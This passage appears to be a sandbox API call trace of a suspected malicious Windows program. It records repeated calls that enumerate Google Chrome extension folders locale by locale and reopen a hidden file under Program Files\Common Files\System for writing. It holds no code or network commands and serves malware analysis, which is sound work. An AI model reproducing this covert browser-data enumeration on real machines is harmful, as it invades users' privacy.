ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.641] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.641] GetLastError () returned 0x12 [0145.641] AreFileApisANSI () returned 1 [0145.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.641] GetFileType (hFile=0x194) returned 0x1 [0145.641] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.642] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.642] GetLastError () returned 0x12 [0145.642] AreFileApisANSI () returned 1 [0145.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.642] GetFileType (hFile=0x194) returned 0x1 [0145.642] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.642] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.642] GetLastError () returned 0x12 [0145.642] AreFileApisANSI () returned 1 [0145.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.643] GetFileType (hFile=0x194) returned 0x1 [0145.643] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.643] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.643] GetLastError () returned 0x12 [0145.643] AreFileApisANSI () returned 1 [0145.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.643] GetFileType (hFile=0x194) returned 0x1 [0145.643] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.644] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.644] GetLastError () returned 0x12 [0145.644] AreFileApisANSI () returned 1 [0145.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.644] GetFileType (hFile=0x194) returned 0x1 [0145.644] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.644] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.644] GetLastError () returned 0x12 [0145.644] AreFileApisANSI () returned 1 [0145.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.645] GetFileType (hFile=0x194) returned 0x1 [0145.645] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.645] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.645] GetLastError () returned 0x12 [0145.645] AreFileApisANSI () returned 1 [0145.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.645] GetFileType (hFile=0x194) returned 0x1 [0145.645] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.646] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.646] GetLastError () returned 0x12 [0145.646] AreFileApisANSI () returned 1 [0145.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.646] GetFileType (hFile=0x194) returned 0x1 [0145.646] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.646] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.647] GetLastError () returned 0x12 [0145.647] AreFileApisANSI () returned 1 [0145.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.647] GetFileType (hFile=0x194) returned 0x1 [0145.647] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.647] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.647] GetLastError () returned 0x12 [0145.647] AreFileApisANSI () returned 1 [0145.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.648] GetFileType (hFile=0x194) returned 0x1 [0145.648] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.648] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.648] GetLastError () returned 0x12 [0145.648] AreFileApisANSI () returned 1 [0145.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.648] GetFileType (hFile=0x194) returned 0x1 [0145.648] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.649] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.650] GetLastError () returned 0x12 [0145.650] AreFileApisANSI () returned 1 [0145.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.650] GetFileType (hFile=0x194) returned 0x1 [0145.651] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.651] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.651] GetLastError () returned 0x12 [0145.651] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.651] GetLastError () returned 0x12 [0145.651] AreFileApisANSI () returned 1 [0145.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.651] GetFileType (hFile=0x190) returned 0x1 [0145.652] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.652] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.652] GetLastError () returned 0x12 [0145.652] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.652] GetLastError () returned 0x12 [0145.652] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.652] GetLastError () returned 0x12 [0145.652] AreFileApisANSI () returned 1 [0145.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.652] GetFileType (hFile=0x188) returned 0x1 [0145.652] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xab, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.653] AreFileApisANSI () returned 1 [0145.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.653] GetFileType (hFile=0x18c) returned 0x1 [0145.653] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.653] AreFileApisANSI () returned 1 [0145.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0145.653] GetFileType (hFile=0x190) returned 0x1 [0145.653] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.654] AreFileApisANSI () returned 1 [0145.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.654] GetFileType (hFile=0x194) returned 0x1 [0145.654] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.655] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.655] GetLastError () returned 0x12 [0145.655] AreFileApisANSI () returned 1 [0145.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.655] GetFileType (hFile=0x194) returned 0x1 [0145.655] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, 